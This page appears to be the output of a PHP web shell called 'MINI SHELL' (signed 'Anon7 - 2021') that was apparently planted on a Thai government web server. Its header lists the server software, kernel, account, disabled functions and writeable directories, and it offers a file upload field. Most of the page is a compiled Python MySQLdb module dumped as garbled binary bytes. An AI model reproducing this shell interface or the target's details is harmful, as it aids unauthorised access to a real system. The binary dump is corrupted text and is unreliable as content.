MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/MySQLdb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/MySQLdb/sets.pyc
mò
vŠ@c@s3dZdfd„ƒYZdefd„ƒYZdS(sPsets module

This module provides some Set classes for dealing with MySQL data.
tSetcBsÅtZdZd„Zd„Zd„Zd„Zd„ZeZd„Z	d„Z
e
Zd„Zd	„Z
d
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„ZRS(sUA simple class for handling sets. Sets are immutable in the same
    way numbers are.cGs
||_dS(s!Use values to initialize the Set.N(tvaluestselft_values(RR((t0/usr/lib/python2.4/site-packages/MySQLdb/sets.pyt__init__scCs||ijodpdS(Nii(tvalueRR(RR((Rt__contains__scCs1dig}|iD]}|t|ƒq~ƒS(s/Returns the values as a comma-separated string.t,N(tjoint_[1]RRtxtstr(RR
R((Rt__str__scCsd|ii|i
fS(Ns%s%s(Rt	__class__t__name__R(R((Rt__repr__scCsƒt|iƒ}t|tƒo6xT|iD]$}||jo|i|ƒq)q)Wn"||ijo|i|ƒn|i	|ŒS(sUnion.N(
tlistRRRt
isinstancetotherRtvtappendR(RRRR((Rt__or__s

cCs€t|iƒ}t|tƒo6xQ|iD]$}||jo|i|ƒq)q)Wn||jo|i|ƒn|i	|ŒS(N(
RRRRRRRRtremoveR(RRRR((Rt__sub__&s


cCswg}t|tƒo6xQ|iD]$}||jo|i|ƒq q Wn||jo|i|ƒn|i|ŒS(s
Intersection.N(	RRRRRRRRR(RRRR((Rt__and__0s


cCs||B||@S(sIntersection's complement.N(RR(RR((Rt__xor__=scCs|i|S(N(RRtn(RR((Rt__getitem__AscCs|i||!S(N(RRtn1tn2(RRR((Rt__getslice__DscCs
t|iƒS(N(tlenRR(R((Rt__len__GscCs
t|iƒS(N(thashRR(R((Rt__hash__JscCs|t|tƒo4||ApdSqx||@|jodSqxdSn5||ijodSn||ijodSndSdS(Niiiÿÿÿÿ(RRRRR(RR((Rt__cmp__MscCs||AS(N(RR(RR((Rt__ne__^scCs#||jp|Sn|iƒSdS(N(RRR(RR((Rt__eq__as
cCs||@|jS(N(RR(RR((Rt__le__gscCs.||jo||Ao|Sn|iƒSdS(N(RRR(RR((Rt__lt__jscCs||@|jS(N(RR(RR((Rt__ge__pscCs.||jo||Ao|Sn|iƒSdS(N(RRR(RR((Rt__gt__ss(Rt
__module__t__doc__RRR
RRt__add__RRt__mul__RRRR!R#R$R%R&R'R(R)R*(((RRs,						
												tDBAPISetcBs tZdZd„Zd„ZRS(sdA special type of set for which A == x is true if A is a
    DBAPISet and x is a member of that set.cCs<t|tƒo||Sn||ijodSndSdS(Nii(RRRRR(RR((RR%‚s
cCs#||jo|iƒSn|SdS(N(RRR(RR((RR&Šs
(RR+R,R%R&(((RR/zs	N(R,RR/(R/R((Rt?st

Anon7 - 2021